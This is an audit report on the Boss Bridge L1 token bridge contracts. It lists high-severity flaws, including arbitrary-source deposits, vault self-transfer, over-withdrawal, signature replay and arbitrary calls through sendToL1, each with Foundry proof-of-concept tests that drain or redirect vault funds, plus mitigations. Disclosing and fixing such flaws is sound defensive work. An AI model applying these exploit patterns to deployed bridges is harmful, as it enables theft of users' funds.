Bridge Protocol Audit Report

Version 1.0

Tanu Gupta

August 13, 2025

Protocol Audit Report

Tanu Gupta

August 13, 2025

Prepared by: Tanu Gupta

Lead Security Researcher:

- Tanu Gupta

Table of Contents

Protocol Summary

The Boss Bridge is a bridging mechanism to move an ERC20 token (the “Boss Bridge Token” or “BBT”) from L1 to an L2 the development team claims to be building. Because the L2 part of the bridge is under construction, it was not included in the reviewed codebase.

The bridge is intended to allow users to deposit tokens, which are to be held in a vault contract on L1. Successful deposits should trigger an event that an off-chain mechanism is in charge of detecting to mint the corresponding tokens on the L2 side of the bridge.

Withdrawals must be approved operators (or “signers”). Essentially they are expected to be one or more off-chain services where users request withdrawals, and that should verify requests before signing the data users must use to withdraw their tokens. It’s worth highlighting that there’s little-to-no on-chain mechanism to verify withdrawals, other than the operator’s signature. So the Boss Bridge heavily relies on having robust, reliable and always available operators to approve withdrawals. Any rogue operator or compromised signing key may put at risk the entire protocol.

Disclaimer

The team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

- src
  - L1BossBridge.sol
  - L1Token.sol
  - L1Vault.sol
  - TokenFactory.sol

Roles

- Bridge Owner: A centralized bridge owner who can:

  - pause/unpause the bridge in the event of an emergency
  - set `Signers`

- Signer: Users who can "send" tokens from L2 -> L1 by first signing the withdrawl request.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

Issues found

Severity	Number of issues found
High	6
Medium	1
Low	2
Info	3
Gas	0
Total	12

Findings

High

[H-1] Missing `from == msg.sender` validation inside `L1BossBridge::depositTokensToL2` allows attacker to deposit on behalf of any address and redirect L2 funds leading to MEV attack

Description: The `L1BossBridge::depositTokensToL2` function does not verify that the `from` parameter matches `msg.sender`:

```
function depositTokensToL2(address from, address l2Recipient, uint256
    amount) external whenNotPaused {
        // that has approved the bridge
```

```
3           if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
4               revert L1BossBridge__DepositLimitReached();
5           }
6   @>        token.safeTransferFrom(from, address(vault), amount);
7
8           // Our off-chain service picks up this event and mints the
               corresponding tokens on L2
9           emit Deposit(from, l2Recipient, amount);
10      }
```

Because the `from` address is supplied as an arbitrary input, an attacker can wait until a legitimate user has approved the vault to spend their tokens, then **front-run** the transaction by calling `depositTokensToL2` with:

- `from` = victim's address
- `l2Recipient` = attacker's L2 address

This will move the victim's tokens to the vault and cause the off-chain service to mint equivalent tokens to the attacker on L2. This creates a **MEV front-running** vector for stealing funds.

Impact:

- Complete theft of a user's L2 funds after they grant token approval to the vault.
- Attacker can monitor mempool transactions and race legitimate deposits.

Proof of Concept:

1. User approves bridge to spend 1000 tokens.
2. User attempts to deposit to L2 by calling `depositTokensToL2(user, userL2, 1000 ether)`.
3. Attacker sees this in the mempool and front-runs with `tokenBridge.depositTokensToL2(user, attacker, amountToDeposit);`
4. Vault receives the user's tokens. Off-chain service mints 1000 tokens on L2 to attacker's account.

Proof of Code

```
1  function testCanMoveApprovedTokensOfOtherUsers_MEV() external {
2          vm.prank(user);
3          token.approve(address(tokenBridge), type(uint256).max);
4
5          //Bob front-runs the transaction and replaces the alice's L2
               recipient address with his own
6          address attacker = makeAddr("attacker");
7          uint256 amountToDeposit = token.balanceOf(user);
8
9          vm.expectEmit(address(tokenBridge));
10         emit Deposit(user, attacker, amountToDeposit);
```

```
11
12          vm.prank(attacker);
13          tokenBridge.depositTokensToL2(user, attacker, amountToDeposit);
14
15          assertEq(token.balanceOf(user), 0);
16          assertEq(token.balanceOf(address(vault)), amountToDeposit);
17      }
```

Recommended Mitigation: Require from to match the transaction sender:

```
1       if (from != msg.sender) {
2           revert UnauthorizedDeposit();
3       }
```

Alternatively, remove the `from` parameter entirely and use `msg.sender` as the source address.

[H-2] Infinite `approval` from vault to bridge allows anyone to trigger unlocking of L2 tokens and steal all vault funds

Description: The `L1Vault` contract grants the `L1BossBridge` contract an infinite approval:

```
1   vault.approveTo(address(this), type(uint256).max);
```

In `depositTokensToL2`, the `from` parameter is user-controlled and not restricted to `msg.sender`:

```
1   function depositTokensToL2(address from, address l2Recipient, uint256
        amount) external whenNotPaused {
2           // that has approved the bridge
3           if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
4               revert L1BossBridge__DepositLimitReached();
5           }
6   @>        token.safeTransferFrom(from, address(vault), amount);
7
8           // Our off-chain service picks up this event and mints the
                corresponding tokens on L2
9           emit Deposit(from, l2Recipient, amount);
10      }
```

If `from` is set to the vault address, the `bridge` can successfully call `safeTransferFrom(vault, vault, amount)` because it already has infinite approval from the vault.

The emitted `L1BossBridge::Deposit` event will then be processed by the off-chain service, which will mint the specified amount of tokens to l2Recipient on L2 — allowing the caller to unlock all tokens from the vault on L2.

Impact:

- Complete loss of all vault funds on L2.
- Anyone can drain the vault's assets by repeatedly calling `depositTokensToL2(vault, attackerL2, hugeAmount)` until the vault is empty.

Proof of Concept:

1. Vault sets infinite approval to bridge.
2. Attacker calls deposit by setting `from` parameter as the `vault` address.
3. Bridge executes `safeTransferFrom(vault, vault, amount)` (no-op on L1 balance but still emits event).
4. Off-chain sequencer mints amount tokens on L2 to attacker's account.
5. Attacker drains vault funds on L2.

```
function testCanTransferFromVaultToVault() external {
        address attacker = makeAddr('attacker');

        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);
        vm.expectEmit(address(tokenBridge));
        vm.prank(attacker);
        //Self transferring tokens from vault to vault
        emit Deposit(address(vault), attacker, vaultBalance);
        //@note can do this forever, mint infinite tokens on the L2
        tokenBridge.depositTokensToL2(address(vault), attacker,
            vaultBalance);
    }
```

Recommended Mitigation:

- **Never** grant infinite approval from vault to bridge. Approve only the required amount on demand.
- Enforce `from != vault` in `depositTokensToL2` to prevent vault-originated deposits.
- Alternatively, hardcode `from = msg.sender` to avoid arbitrary source address manipulation.

[H-3] Missing withdrawal limit check allows users to withdraw more than their deposited amount inside `L1BossBridge::withdrawTokensToL1`

Description: The `withdrawTokensToL1` function sends a `transferFrom` call to the vault without verifying that the caller has sufficient deposited balance:

```
function withdrawTokensToL1(address to, uint256 amount, uint8 v,
    bytes32 r, bytes32 s) external {
     sendToL1(
         v,
         r,
         s,
```

```
6           abi.encode(
7               address(token),
8               0, // value
9               abi.encodeCall(IERC20.transferFrom, (address(vault), to,
                    amount))
10          )
11      );
12  }
```

There is no restriction which prevents user from requesting more than they deposited.

While the documentation states below. This off-chain check is not enough to curb the theft.

> Our service will validate the payloads submitted by users, checking that the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge.

Impact: Direct theft of vault funds by requesting withdrawals exceeding deposits.

Proof of Concept:

1. User deposits `20 tokens` into the vault.
2. User successfully withdraws `40 tokens` out from the vault.

Proof of Code

```
1  function test_attack_withdraw_more_than_deposits() external {
2          uint256 amountToDeposit = 100e18;
3          deal(address(token), address(vault), amountToDeposit);
4
5          assertEq(token.balanceOf(address(vault)), amountToDeposit);
6
7          //user deposits some amount to the vault
8          vm.startPrank(user);
9          token.approve(address(tokenBridge), 20e18);
10         tokenBridge.depositTokensToL2(user, userInL2, 20e18);
11         vm.stopPrank();
12
13         //user withdraws the more amount than deposited
14         uint256 amountToWithdraw = 40e18;
15         (uint8 v, bytes32 r, bytes32 s) = _signMessage(
               _getTokenWithdrawalMessage(user, amountToWithdraw), operator
               .key);
16         uint256 userInitialBalance = token.balanceOf(user);
17
18         tokenBridge.withdrawTokensToL1(user, amountToWithdraw, v, r, s)
               ;
19
20         assertEq(token.balanceOf(user), userInitialBalance +
               amountToWithdraw);
21     }
```

Recommended Mitigation:

1. Track user deposits on-chain:

```
+   mapping(address => uint256) public userDeposits;

    function depositTokensToL2(address from, address l2Recipient,
       uint256 amount) external whenNotPaused {

        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
+       userDeposits[from] += amount
+       emit Deposit(from, l2Recipient, amount);
        token.safeTransferFrom(from, address(vault), amount);
-       emit Deposit(from, l2Recipient, amount);
    }
```

2. Enforce withdrawal limits before transferring tokens:

```
   function withdrawTokensToL1(address to, uint256 amount, uint8 v,
      bytes32 r, bytes32 s) external {
+       if (userDeposits[msg.sender] < amount) revert
    InsufficientBalance();
+       userDeposits[msg.sender] -= amount;
        sendToL1(
            v,
            r,
            s,
            abi.encode(
                address(token),
                0, // value
                abi.encodeCall(IERC20.transferFrom, (address(vault), to
                    , amount))
            )
        );
    }
```

[H-4] Missing replay protection in signature verification allows repeated withdrawals using the same signed message in `L1BossBridge::sendToL1`

Description: The `L1BossBridge::sendToL1` function verifies signatures without including any parameter that would make the signed message unique per execution (e.g., nonce, withdrawal ID, expiration time).

```
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message)
    public nonReentrant whenNotPaused {
```

```
2  @>        address signer = ECDSA.recover(MessageHashUtils.
       toEthSignedMessageHash(keccak256(message)), v, r, s);
3
4          if (!signers[signer]) {
5              revert L1BossBridge__Unauthorized();
6          }
7
8          (address target, uint256 value, bytes memory data) = abi.decode
               (message, (address, uint256, bytes));
9          (bool success,) = target.call{ value: value }(data);
10         if (!success) {
11             revert L1BossBridge__CallFailed();
12         }
13     }
```

Since `keccak256(message)` can be the same across multiple calls, once a valid withdrawal message is signed, the signature can be **replayed indefinitely**. An attacker who obtains or intercepts a valid signature can repeatedly call `sendToL1` with the same parameters, draining the vault far beyond the intended amount.

Impact:

- **Complete loss of funds** from the vault by replaying a single valid withdrawal signature.
- Attackers do not need to compromise the signer's keys; they only need one valid signed payload to repeatedly withdraw funds.

Proof of Concept:

1. User makes an initial deposit of `10` tokens.
2. User requests withdrawal, off-chain service signs a message authorizing `transferFrom(vault, user, amount)`.
3. User calls `sendToL1(v, r, s, message)` — withdrawal succeeds.
4. User calls the same function again with identical parameters — withdrawal succeeds again.
5. This can be repeated until the vault is drained.

Proof of Code

```
1   function test_user_attacks_replay_signature() public {
2          uint256 amountToDeposit = 100e18;
3          deal(address(token), address(this), amountToDeposit);
4          token.approve(address(tokenBridge), amountToDeposit);
5          tokenBridge.depositTokensToL2(address(this), newUserL2,
               amountToDeposit);
6
7          assertEq(token.balanceOf(address(vault)), amountToDeposit);
8
9          vm.startPrank(user);
```

```
10          uint256 depositAmount = 10e18;
11          uint256 userInitialBalance = token.balanceOf(address(user));
12
13          token.approve(address(tokenBridge), depositAmount);
14          tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
15
16          //total tokens present in vault
17          assertEq(token.balanceOf(address(vault)), depositAmount +
                amountToDeposit);
18          assertEq(token.balanceOf(address(user)), userInitialBalance -
                depositAmount);
19
20          //operator is signing the message
21          (uint8 v, bytes32 r, bytes32 s) = _signMessage(
                _getTokenWithdrawalMessage(user, depositAmount), operator.
                key);
22          //using the signature to withdraw the tokens
23          //replaying the signature to withdraw the tokens again and
                again
24          while(token.balanceOf(address(vault)) >= depositAmount){
25              tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s
                    );
26          }
27          //user now owns double of the deposit amount
28          assertGt(token.balanceOf(address(user)), userInitialBalance);
29          //valut has lost an extra of depositAmount in the exploit
30          assertEq(token.balanceOf(address(vault)), 0);
31      }
```

Recommended Mitigation:

1. Include a nonce or unique withdrawal ID in the signed message and track it on-chain.
2. Update the `sendToL1` as below -

```
1  +    mapping(bytes32 => bool) public executedMessages;
2
3       function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
           message) public nonReentrant whenNotPaused {
4  +        bytes32 messageHash = keccak256(message);
5  +        require(!executedMessages[messageHash], "Message already
       executed");
6
7           address signer = ECDSA.recover(MessageHashUtils.
               toEthSignedMessageHash(keccak256(message)), v, r, s);
8
9           if (!signers[signer]) {
10              revert L1BossBridge__Unauthorized();
11          }
12
13 +        executedMessages[messageHash] = true;
14
```

```
15          (address target, uint256 value, bytes memory data) = abi.decode
                (message, (address, uint256, bytes));
16          (bool success,) = target.call{ value: value }(data);
17          if (!success) {
18              revert L1BossBridge__CallFailed();
19          }
20      }
```

[H-5] Lack of on-chain validation for signed messages allows arbitrary calls if signer is compromised or makes an error in validating the message bytes

Description: The `sendToL1` function executes arbitrary calls using parameters from a signed message:

```
1  (bool success,) = target.call{ value: value }(data);
```

The contract does not validate that:

- *target* is an approved contract,
- *data* encodes a valid and intended action,
- *amount* is within per-user limits, or
- the call actually relates to a legitimate withdrawal.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, *according to the documentation:*

> The bridge operator is in charge of signing withdrawal requests… Our service will validate the payloads submitted by users, checking that the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge.

This means all security checks are off-chain. If the signing key is compromised or the service accidentally signs a malicious payload, the attacker can:

- Transfer all tokens from the vault to their own address,
- Call any contract on L1 with arbitrary calldata,
- Deploy malicious contracts using the vault's funds,

Impact:

- Complete protocol takeover in the event of signer compromise.
- Ability to drain vault funds in a single transaction.

Proof of Concept:

1. Attacker submits a fake deposit transaction with amount 0 to bypass the withdraw constraint.
2. Signer signs the malicious message for approving attacker of all vault funds
3. After successful approval, attacker transfers all the funds to this account.

Proof of Code

```
function testAttackerMakingAnArbitraryLowLevelCall() external {
        uint256 intialVaultBalance = 100e18;
        deal(address(token), address(this), intialVaultBalance);
        token.approve(address(tokenBridge), intialVaultBalance);
        tokenBridge.depositTokensToL2(address(this), newUserL2,
            intialVaultBalance);

        address attacker = makeAddr("attacker");
        bytes memory data = abi.encodeCall(L1Vault.approveTo, (attacker
            , type(uint256).max));
        bytes memory messageHash = abi.encode(
            address(vault), // target
            0, // value
            data // data
        );

        (uint8 v, bytes32 r, bytes32 s) = _signMessage(messageHash,
            operator.key);
        vm.startPrank(attacker);

        // making a fake deposit to bypass the withdraw constraint
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(attacker), address(0), 0);
        tokenBridge.depositTokensToL2(attacker, address(0), 0);

        assertEq(token.balanceOf(attacker), 0);
        // attacker now calling the sendToL1
        tokenBridge.sendToL1(v, r, s, messageHash);
        token.transferFrom(address(vault), attacker, token.balanceOf(
            address(vault)));
        vm.stopPrank();

        assertEq(token.balanceOf(attacker), intialVaultBalance);
    }
```

Recommended Mitigation:

- Implement on-chain allowlisting for valid target contracts.
- Restrict calldata formats and enforce token transfer logic in the contract.
- Consider using multi-signature approval for high-value withdrawals to reduce single point of failure.

[H-6] Use of create opcode in `TokenFactory::deployToken` causes token deployment to fail on zkSync Era

Description: The `TokenFactory::deployToken` function uses the low-level `create` opcode to deploy new token contracts. However, `zkSync Era` does not currently support the create opcode for contract deployment. Any transaction attempting to execute this function will revert, making it impossible to deploy tokens through this method.

```
1  function deployToken(string memory symbol, bytes memory
       contractBytecode) public onlyOwner returns (address addr)
2      {
3          assembly {
4  @>              addr := create(0, add(contractBytecode, 0x20), mload(
       contractBytecode))
5          }
6          s_tokenToAddress[symbol] = addr;
7          emit TokenDeployed(symbol, addr);
8      }
```

Impact: All attempts to deploy `TokenFactory` contract on `zksync era` will fail, preventing the intended functionality of dynamic token creation.

Proof of Concept:

1. Deploy the contract containing deployToken to zkSync Era.
2. Call deployToken("TEST", contractBytecode) with valid ERC20 bytecode.
3. Transaction fails with an "unsupported opcode" error due to the create opcode execution.

Recommended Mitigation:

> EraVM does not use bytecode for contract deployment. Instead, it refers to contracts using their bytecode hashes. In order to deploy a contract, please use the **new** operator in Solidity instead of raw **'create'/'create2'** in assembly.

Replace the low-level create opcode with a deployment method supported by zkSync Era, such as:

- Using CREATE2 (which zkSync Era supports), ensuring deterministic addresses.
- Using zkSync-specific factory patterns or system calls (SystemContracts API).
- Leveraging zkSync's ContractDeployer precompile for contract creation.

For more information, refer this document from zksync.

Medium

[M-1] `DEPOSIT_LIMIT` check can be bypassed or abused to cause DoS via direct token transfers to vault

Description: The `depositTokensToL2` function enforces a limit on the vault's total balance:

```
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
```

This check relies on the vault's current token balance, which can be manipulated by anyone via a direct token transfer. Once the vault's balance reaches `DEPOSIT_LIMIT`, all further deposits will fail, effectively locking out legitimate users.

Impact: Permanent **denial of service** for all deposits once the vault's balance reaches to `DEPOSIT_LIMIT`.

Proof of Concept:

1. The current balance of vault is `DEPOSIT_LIMIT` as an attacker directly sent `DEPOSIT_LIMIT` tokens to vault contract without deposit.
2. User tries to deposit `1 ether`.
3. The transaction fails to process.

```
function testDOSAttackWhenDepositLimitIsReached() external {
        address attacker = address(this);
        deal(address(token), attacker, tokenBridge.DEPOSIT_LIMIT());

        vm.prank(attacker);
        token.transfer(address(vault), tokenBridge.DEPOSIT_LIMIT());

        vm.startPrank(user);
        token.approve(address(tokenBridge), 1 ether);
        vm.expectRevert("L1BossBridge__DepositLimitReached()");
        tokenBridge.depositTokensToL2(user, userInL2, 1 ether);
        vm.stopPrank();
    }
```

Recommended Mitigation: Track deposited amounts using an internal accounting variable rather than `token.balanceOf(vault)`.

```
+   uint256 public s_totalDeposits;

function depositTokensToL2(address from, address l2Recipient, uint256
    amount) external whenNotPaused {
-   if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
```

```
5  +    if (s_totalDeposits + amount > DEPOSIT_LIMIT) {
6  +        revert L1BossBridge__DepositLimitReached();
7  +    }
8  +    s_totalDeposits += amount;
9  +    emit Deposit(from, l2Recipient, amount);
10     token.safeTransferFrom(from, address(vault), amount);
11
12 -   emit Deposit(from, l2Recipient, amount);
13
14 }
```

Low

[L-1] `L1Vault::approveTo` does not check the return value of `IERC20::approve`, risking undetected failures

Description: The `approveTo` function calls the ERC20 `approve` method but ignores its return value:

```
1  function approveTo(address target, uint256 amount) external onlyOwner {
2  @>        token.approve(target, amount);
3      }
```

While the `ERC20` standard specifies that `approve` should return a boolean indicating success, not all token implementations revert on failure. Some may return false instead, and ignoring the return value can lead to silent approval failures.

Impact: If `approve` fails silently (returns false), the `allowance` will not be set as intended, potentially breaking the functionality.

Recommended Mitigation: Check the return value of approve and revert if it is false:

```
1  -    token.approve(target, amount);
2  +    require(token.approve(target, amount), "Approve failed");
```

[L-2] `L1BossBridge::Deposit` event lacks indexed fields, hindering efficient filtering and L2 unlock processing

Description: `L1BossBridge::Deposit` event is a core part of the protocol flow, as it is used by sequencers to detect deposits and trigger token unlocking on L2. However, none of the parameters are marked as indexed, which makes it inefficient for off-chain services to query specific deposits.

Without indexed parameters, sequencers must scan the entire log history rather than filter by depositor, recipient, or other key fields.

```
    event Deposit(address from, address to, uint256 amount);
```

Impact:

- Slower and more expensive off-chain indexing and event filtering.
- Poor scalability when handling large volumes of deposits.

Recommended Mitigation:

```
-   event Deposit(address from, address to, uint256 amount);
+   event Deposit(address indexed from, address indexed to, uint256
    amount);
```

Informational

[I-1] `L1Vault::token` variable can be marked `immutable` to save storage and gas

Description:

```
    IERC20 public token;
```

If `token` is assigned only once during the `constructor` and never changed afterward, it should be marked `immutable`. Immutable variables are stored directly in the contract bytecode rather than a storage slot, resulting in gas savings for both deployment and read operations.

Impact: Reduced deployment gas cost by avoiding a storage slot initialization.

Recommended Mitigation:

```
-   IERC20 public token;
+   IERC20 public immutable i_token;
```

[I-2] Functions can be marked external instead of public to optimize gas

Description:

```
function deployToken(string memory symbol, bytes memory
    contractBytecode) public onlyOwner returns (address addr) {
        assembly {
            addr := create(0, add(contractBytecode, 0x20), mload(
                contractBytecode))
        }
        s_tokenToAddress[symbol] = addr;
        emit TokenDeployed(symbol, addr);
    }
```

```
function getTokenAddressFromSymbol(string memory symbol) public view
    returns (address addr) {
        return s_tokenToAddress[symbol];
    }
```

Impact: This is a minor gas optimization opportunity. Changing from public to external can reduce gas costs for each external call, improving efficiency in production deployments.

Recommended Mitigation: Change the function visibility from public to external:

```
-   function deployToken(string memory symbol, bytes memory
    contractBytecode) public onlyOwner returns (address addr) {}
+   function deployToken(string memory symbol, bytes memory
    contractBytecode) external onlyOwner returns (address addr) {}

-   function getTokenAddressFromSymbol(string memory symbol) public
    view returns (address addr) {}
+   function getTokenAddressFromSymbol(string memory symbol) external
    view returns (address addr) {}
```

[I-3] `L1BossBridge::DEPOSIT_LIMIT` should be marked `constant` to save storage and gas

Description: Since the `L1BossBridge::DEPOSIT_LIMIT` is fixed at compile time and never changes, it should be declared as constant.

```
    uint256 public DEPOSIT_LIMIT = 100_000 ether;
```

Constant variables are embedded directly into the contract bytecode instead of occupying a storage slot, reducing both deployment and runtime gas usage.

Impact:

- Eliminates unnecessary storage slot allocation.
- Reduces deployment gas cost.
- Reduces runtime gas cost when reading the value.

Recommended Mitigation: Mark the variable as constant:

```
-   uint256 public DEPOSIT_LIMIT = 100_000 ether;
+   uint256 public constant DEPOSIT_LIMIT = 100_000 ether;
```